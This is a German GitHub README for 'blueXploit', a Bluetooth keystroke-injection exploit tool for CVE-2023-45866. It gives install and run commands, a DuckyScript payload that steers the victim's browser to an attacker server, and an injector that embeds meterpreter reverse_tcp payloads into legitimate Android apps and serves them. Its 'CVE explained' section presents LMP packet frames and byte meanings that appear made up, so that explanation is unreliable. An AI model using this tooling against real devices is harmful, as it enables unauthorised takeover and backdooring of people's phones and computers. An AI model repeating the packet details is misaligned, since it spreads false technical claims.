danyw24/bluexploitExploit basierend auf kritischen Bluetooth-Sicherheitslücken (CVE-2023-45866, CVE-2024-21306)
# blueXploit
[blueXploit Video](https://www.youtube.com/watch?v=Zez8hKRI_7M)
- **blueXploit** ist mein eigener Proof-of-Concept, der **CVE-2023-45866** nachbildet, die von **Marc Newlin** entdeckte Schwachstelle zur Bluetooth-Tastatureingabe-Injektion. Sie nutzt einen Fehler im Bluetooth-Protokoll aus, um Tastatureingaben **ohne Kopplung** in ein Zielgerät einzuschleusen und so komplexeren Angriffen den Weg zu ebnen.
> **Quellenangabe.** Die Schwachstelle und der ursprüngliche Exploit stammen von **Marc Newlin**
> ([hi_my_name_is_keyboard](https://github.com/marcnewlin/hi_my_name_is_keyboard)) — ich beanspruche die Entdeckung **nicht**
> für mich. Dieses Repository ist eine Nachbildung, die dazu dient, den Fehler zu verstehen und zu dokumentieren; darauf aufbauend
> fügt blueXploit einen DuckyScript-ähnlichen Payload-Runner, einen Wiederverbindungs-/Wiederholungsmechanismus und einen optionalen
> Android-APK-Injektionshelfer hinzu. Alles hier dient **ausschließlich Bildungs- und Forschungszwecken**.
# Wie die Schwachstelle funktioniert
Diese kritischen Schwachstellen ([CVE-2023-45866](https://www.infordisa.com/soc/vulnerabilidad-bluetooth/), CVE-2024-21306) ermöglichen es einem Angreifer, Tastatureingaben einzuschleusen und Kopplungsanfragen ohne Bestätigung durch den Benutzer zu akzeptieren. Dies beeinträchtigt die Sicherheit mehrerer Betriebssysteme erheblich.
## Betroffene Systeme
- **Android**: 4.2 bis 14 (11–14, wenn der Patch vom 05.12.2023 fehlt)
- **Linux**: benötigt einen BlueZ-Patch.
- **macOS**: 12 bis 14.2 (teilweise behoben).
- **iOS**: 16 (verwundbar), in iOS 17.2 gepatcht.
- **Windows**: im Januar-2024-„Patch Tuesday" behoben.
## Auswirkungen
- Die Schwachstelle ermöglicht die Fernsteuerung eines Geräts, indem Tastatureingaben injiziert werden, selbst ohne die Bluetooth-Kopplung zu akzeptieren, wodurch die Verbindung erzwungen und wichtige Befehle ausgeführt werden.
## Beispielangriffe
- **Remote-Befehlsausführung**: Kontrolle über verwundbare Geräte durch injizierte Tastatureingaben, wobei die Angriffsvektoren vielfältig sind — von der Erlangung einer **Shell** bis zur **Installation schädlicher Anwendungen**.
- **Denial-of-Service-Angriffe (DoS)**: Überfluten von Geräten mit Kopplungsanfragen.
## Gegenmaßnahmen
- Aktualisieren Sie Geräte mit den neuesten System-Patches.
- Schalten Sie Bluetooth aus, wenn es nicht verwendet wird (dies verhindert, dass ein Exploit für diese Schwachstelle ausgeführt werden kann).
- Vermeiden Sie die Kopplung mit unbekannten Geräten.
# blueXploit – Verwendung und Demo
- Basiert auf dem [ursprünglichen Exploit](https://github.com/marcnewlin/hi_my_name_is_keyboard) von Marc Newlin.
- Installieren der Abhängigkeiten
```bash
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
```
## Verwendung von APKPwn + blueXploit
**blueXploit** enthält Werkzeuge, um Schwachstellen auf Android-Geräten auszunutzen, und bietet zwei Hauptkomponenten sowie ein zusätzliches Programm namens **apkpwn_injector**, das sich im Ordner **injector** befindet.
### APKPwn-Funktionen
- Automatisiert die Erstellung von **android/meterpreter/reverse_tcp**-Payloads mit **msfvenom**.
- Injiziert diese Payloads in bestehende `.apk`-Anwendungen im Ordner **apk_clean**.
- Richtet einen lokalen Server ein, um die erzeugten schädlichen Anwendungen bereitzustellen.
Diese Funktionen ermöglichen einen effizienten, vereinfachten Angriffsablauf in kontrollierten Umgebungen oder für Penetrationstests.
```bash
cd injector
python3 apkpwn_injector.py
```
## Erstellen oder Bearbeiten eines Duckypayloads
Die von blueXploit ausgeführten Tastenbefehle werden aus dem Ordner **/injector/payloads/** im **.txt**-Format geladen, mit einer einfachen, leicht verständlichen Syntax.
### duckypayload-Beispiel
```bash
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
```
Ändern Sie die IP-Adresse in die Adresse, unter der der Server gehostet wird.
Geräteerkennung und -auflistung
```bash
bluetoothctl
```
Nach Bluetooth-Geräten suchen
```bash
scan on
```
Ausführen
```bash
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
```
Wählen Sie dann den erforderlichen, zuvor konfigurierten Payload aus.
## Demo
Die vollständige Demo finden Sie in diesem [Video](https://www.youtube.com/watch?v=Zez8hKRI_7M)
## Verwendete Hardware
- Raspberry Pi 4
- Kali Linux ARM64
# CVE-2023-45866 erklärt
Diese Schwachstelle wird auf einer niedrigen Ebene des Bluetooth-Protokolls ausgenutzt, indem hauptsächlich das HID-Profil und das L2CAP-Protokoll manipuliert werden, um Tastatureingaben in ein Opfergerät einzuschleusen.
## 1. Das Bluetooth-Protokoll auf niedriger Ebene
Der Bluetooth-Stack umfasst mehrere Schichten, wie das Link-Manager-Protokoll (LMP), die Host-Controller-Schnittstelle (HCI) und L2CAP. Dieser Angriff nutzt hauptsächlich die letzten beiden:
- **HCI**: Die Adapterkonfiguration wird so manipuliert, dass es sich als legitimes HID-Gerät präsentiert.
- **L2CAP**: L2CAP ist für das Multiplexen von Daten zwischen Geräten verantwortlich und nutzt Kanal 17 (HID Control) und Kanal 19 (HID Interrupt) für die HID-Kommunikation, was ausgenutzt werden kann, um Tastensequenzen zu senden.
## Ausnutzung von CVE-2023-45866
CVE-2023-45866 ist eine Schwachstelle im Link-Manager-Protokoll (LMP), die durch einen „erzwungenen Kopplungs"-Angriff ausgenutzt wird. Hier ist die technische Vorgehensweise:
- **LMP verwaltet Kopplungsanfragen und die Link-Konfiguration.**
- Es werden fehlerhafte oder nicht authentifizierte LMP-Pakete gesendet, um die Kopplung zu erzwingen, wie folgt:
```bash
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
```
In diesem Datenframe:
- `0x01`: LMP-Kopplungsanfrage
- `0x01`: LMP-Authentifizierungsanfrage (PIN)
- `0x00 0x00 0x00 0x00`: schwache PIN-Informationen, normalerweise 0000
Hier nutzt der Exploit die fehlende Konfiguration und Authentifizierung für dieses Paket aus, was letztendlich Folgendes zurückgibt:
```bash
LMP Accept: 0x02 0x00 0x00 0x00 0x00
```
In diesem Datenframe:
- `0x02`: LMP-Kopplungsanfrage **AKZEPTIERT**
- `0x00 0x00 0x00 0x00`: zurückgegebene fehlerhafte PIN-Informationen
Wenn der Schlüssel nicht korrekt validiert wird, wird die Verbindung hergestellt, aber ohne echte Kopplung, sodass ein LMP-Paket zur erzwungenen Kopplung wie folgt gesendet werden kann:
```bash
LMP Forced Pairing: 0x03 0x01 0x0000
```
Die Authentifizierung kann dann mithilfe zuvor offengelegter Schlüssel (wie „0000") erzwungen und ein verschlüsselter Kommunikationskanal eingerichtet werden, wodurch die Geräte gekoppelt werden, ohne einen ordnungsgemäßen Verifizierungsprozess zu durchlaufen.
**Dies erzeugt eine Kopplung, ohne dass der Benutzer davon weiß, und sogar ohne Kopplungsfenster oder Benachrichtigung.**
Der Fehler bei dieser CVE besteht darin, dass bestimmte Geräte LMP-Authentifizierungsanfragen nicht ordnungsgemäß validieren oder alte Schlüssel wiederverwenden.
Sobald also eine Kopplung mit dem Gerät hergestellt ist – zack! – ist der Rest einfach: In **blueXploit.py** treten der Adapter und das Gerät als Identifikationsdaten auf und spoofen diese. In diesem Fall werden Befehle wie diese ausgeführt:
```bash
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
```
blueXploit-Code
```python
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
```
## HID-Dateninjektion
```bash
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
```
Erklärung des HID-Bytedatenrahmens:
:`a10100001e000000000000`
- `a1`: gibt den HID-Report-Typ an
- `01`: gibt die HID-Schnittstellennutzung für eingehende Daten an
- `00`: Tastendruck oder Tastenloslösung
- `00 1e 00 00 00 00`: der Hexadezimalwert, wobei `1e` dem Buchstaben `a` entspricht
Ein **ACK** wird dann empfangen, um zu bestätigen, dass die Übertragung erfolgreich empfangen wurde.
- blueXploit integriert einen Wiederverbindungs- und Datensendewiederholungsmechanismus, um die Kommunikation stabil und verlustfrei zu halten. Wenn also eine Verbindungsunterbrechung auftritt, verbindet sich das Programm erneut und sendet die HID-Daten ab der vorherigen Position/Zeichen weiter.
> **Warnung**: Dieses Material und die in diesem Repository beschriebenen Techniken dienen **ausschließlich Bildungs- und Forschungszwecken**. Penetrations- und Exploitation-Tools dürfen nur auf Systemen verwendet werden, für die Sie **ausdrückliche Genehmigung** zur Bewertung haben. Die unbefugte Verwendung dieser Techniken auf Systemen, die Ihnen nicht gehören, ist **verboten** und in vielen Rechtsordnungen **illegal**. Schäden oder negative Auswirkungen, die durch unsachgemäße Verwendung dieses Inhalts entstehen, liegen in der alleinigen Verantwortung des Benutzers.
> Benutzer werden gebeten, in kontrollierten Umgebungen wie **Testlaboren** zu arbeiten und alle lokalen Gesetze und Vorschriften in Bezug auf Informationssicherheit und ethisches Hacking einzuhalten. ***happy hacking :D***